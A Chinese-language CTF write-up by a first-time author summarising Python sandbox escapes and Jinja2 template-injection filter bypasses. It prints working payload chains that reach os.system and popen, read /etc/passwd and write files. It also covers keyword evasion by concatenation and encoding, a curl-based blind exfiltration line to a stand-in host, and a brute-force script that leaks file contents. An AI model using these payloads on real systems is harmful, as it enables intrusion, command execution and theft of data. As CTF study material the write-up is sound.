本文主要讲python沙盒bypass,最早接触的一道有关沙盒绕过的题,来源于国赛,那也是我第一场CTF比赛,可是当时一道题都没有做出来,后面的XMAN选拔赛、还有最近的网鼎杯都有python沙盒的题,那就写一下总结吧。
题目大多都禁用相关关键字、库、函数,甚至禁用了reload,导致不能重载。
沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。
这种题一般的解题思路,就是变量->对象->基类->子类遍历->全局变量 ,在这个流程中找到我们想要的模块或者函数。
基础知识
在启动python解释器之后,即使没有创建任何的变量或者函数,还是会有许多函数可以使用,这些函数就是内建函数,并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用
1、查看当前内存空间可以调用的模块
不管是哪个版本,这里我们可以看到__builtins__都是默认在启动解释器之后已经导入内存中的,下面我看看__builtins__有哪些属性和方法。
可以看到,这里有不少我们常用到的函数,eval()、print()、hex()等等,最最主要的还是__import__函数,有了它,我们就可以导入任意我们想要的库。
2、类的继承
首先,python中一切均为对象,均继承object对象,python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,现在小小总结了两种创建object的方法如下
[].__class__.__bases__[0]
[].__class__.__base__
''.__class__.__mro__[-1]
>>> [].__class__.__bases__[0]
<type 'object'>
>>> ''.__class__.__mro__[-1]
<type 'object'>
然后可以看到存在一个hook函数,直接调用
这里有个小窍门,如果想要找到你想找的模块,可以用or(手算)
[].__class__.__base__.__subclasses__().index(模块名)
eg:
>>> [].__class__.__base__.__subclasses__().index(file)
40
存在file类型的object,事实上调用后可以对文件操作了
//读文件
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
().__class__.__base__.__subclasses__().pop(40)('/etc/passwd').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
3、__globals__:
该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用__globals__属性访问全局的变量
4、命令执行
在了解了3之后,接下来。python里面的内置模块本身调用os模块等可以命令执行的库,这也给我们创造了条件。
这里直接给出三个内置模块
<class 'site._Printer'>
<class 'site.Quitter'>
<class 'warnings.catch_warnings'>
这里我拿<class 'warnings.catch_warnings'>举个例子,其他苟同。
>>> [].__class__.__base__.__subclasses__()[60]
<class 'warnings.catch_warnings'>
>>> dir([].__class__.__base__.__subclasses__()[60])
['__class__', '__delattr__', '__dict__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__']
这里我们定位到__init__函数,这里给一个小窍门,如何判断是函数还是对象,函数总会有一个__call__方法,对象没有哦
>>> dir([].__class__.__base__.__subclasses__()[60].__init__)
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__format__', '__func__', '__get__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'im_class', 'im_func', 'im_self']
引用os库
>>> [].__class__.__base__.__subclasses__()[72].__init__.__globals__['os']
<module 'os' from 'C:\Python27\lib\os.pyc'>
接下来就可以执行命令了,这里是在windows做的实验
>>> [].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('dir')
驱动器 C 中的卷是 Windows
卷的序列号是 9C2D-EC86
C:\Users\wuli丶Decade 的目录
2018/08/24 17:04 <DIR> .
2018/08/24 17:04 <DIR> ..
2017/08/04 20:13 <DIR> .android
2017/12/17 12:48 <DIR> .eclipse
#下面也是可以执行任意命令,这里就不一一阐述了,道理类似
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].popen('dir')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
#python3
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
下面讲一下一些像禁用了ls、cat、os等关键字bypass
很显然,下面三条都有关键字ls,因此无法绕过waf
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('dir')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
方法:
1、getattribute+字符串拼接
这里为什么想到__getattribute__呢?
通过dir()看下实例,类,函数里的情况,都能看到__getattribute__这个魔术方法的存在
>>> dir([]) #实例
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__',...
>>> dir([].__class__) #类
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__',...
>>> dir([].append) #函数
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__'...
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('__global'+'s__')['os'].system('dir')
>>> [].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('func_global'+'s')['os'].system('dir')
驱动器 C 中的卷是 Windows
卷的序列号是 9C2D-EC86
C:\Users\wuli丶Decade 的目录
2018/08/24 17:04 <DIR> .
2018/08/24 17:04 <DIR> ..
2017/08/04 20:13 <DIR> .android
2017/12/17 12:48 <DIR> .eclipse
2018/03/06 21:55 <DIR> .gimp-2.8
2018/03/06 19:36 29 .gtk-bookmarks
2017/12/28 20:13 <DIR> .idlerc
2、编码绕过
>>> a="emit"
>>> b=a[::-1]
>>> b
'time'
>>> ('5f5f676c6f62616c735f5f').decode('hex')
'__globals__'
>>> ('X19nbG9iYWxzX18=').decode('base64')
'__globals__'
>>> ('__tybonyf__').decode('rot13')
u'__globals__'
所以,剩下的一样
>>> [].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('5f5f676c6f62616c735f5f'.decode('hex'))['os'].system('dir')
驱动器 C 中的卷是 Windows
卷的序列号是 9C2D-EC86
C:\Users\wuli丶Decade 的目录
2018/08/24 17:04 <DIR> .
2018/08/24 17:04 <DIR> ..
2017/08/04 20:13 <DIR> .android
2017/12/17 12:48 <DIR> .eclipse
2018/03/06 21:55 <DIR> .gimp-2.8
2018/03/06 19:36 29 .gtk-bookmarks
下面讲一下禁用了关键字符的bypass
1. 过滤[
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
2. 过滤引号
先获取chr函数,赋值给chr,后面拼接字符串就好了:
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
#借助request对象(推荐):
().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
3. 过滤双下划线__
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
4. 过滤{{
相当于盲命令执行,利用curl将执行结果带出来
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://ip:port?i=`whoami`').read()=='p' %}1{% endif %}
or盲注
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}wuli_decade{% endif %}
脚本如下:
# -*- coding: utf-8 -*-
import requests
url = 'http://127.0.0.1:80/'
def check(payload):
postdata = {
'exploit':payload
}
r = requests.post(url, data=postdata).content
return 'wuli_decade' in r
password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
for i in xrange(0,100):
for c in s:
payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}wuli_decade{% endif %}'
if check(payload):
password += c
break
print password
5、过滤了{{ 、__
参考网鼎杯mmmmy题:https://www.jianshu.com/p/34905d56256d
参考:
禁用import的情况下绕过python沙箱
0x03:南京day4
python沙盒的几种绕过方式
python沙箱逃逸小结
PY交易之简单沙盒绕过
Python沙箱逃逸的n种姿势
python沙盒绕过
Python沙箱逃逸的一些方法
Flask/Jinja2模板注入中的一些绕过姿势
END
第一次写文章,如有错误,欢迎指出